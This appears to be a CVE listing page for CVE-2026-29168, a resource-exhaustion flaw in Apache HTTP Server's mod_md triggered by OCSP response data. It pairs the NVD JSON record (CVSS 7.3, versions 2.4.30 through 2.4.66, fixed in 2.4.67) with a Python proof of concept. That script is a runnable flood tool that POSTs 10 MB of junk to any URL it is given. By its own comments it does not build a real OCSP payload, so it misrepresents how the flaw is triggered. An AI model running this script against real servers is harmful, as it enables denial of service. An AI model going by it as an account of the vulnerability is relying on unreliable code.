CVE-2026-29168

import requests def exploit_cve_2026_29168(target_url): """ Conceptual PoC for CVE-2026-29168. Sends a large payload to simulate an unthrottled OCSP response allocation. """ # Construct a malicious large payload to trigger resource exhaustion # In a real scenario, this would be crafted to fit the OCSP response structure malicious_payload = b"A" * 10000000 # 10MB of junk data headers = { "User-Agent": "CVE-2026-29168-Scanner", "Content-Type": "application/ocsp-response" } try: print(f"[+] Sending large payload to {target_url}...") response = requests.post(target_url, data=malicious_payload, headers=headers, timeout=5) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed (server may have crashed): {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") else: exploit_cve_2026_29168(sys.argv[1])

{"cve": {"id": "CVE-2026-29168", "sourceIdentifier": "[email protected]", "published": "2026-05-05T14:16:08.507", "lastModified": "2026-05-06T18:39:20.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling vulnerability in Apache HTTP Server's  mod_md via OCSP response data.\n\nThis issue affects Apache HTTP Server: from 2.4.30 through 2.4.66.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.4.30", "versionEndExcluding": "2.4.67", "matchCriteriaId": "D19AAC4D-6828-4CFA-9C92-6D1F89F7297E"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}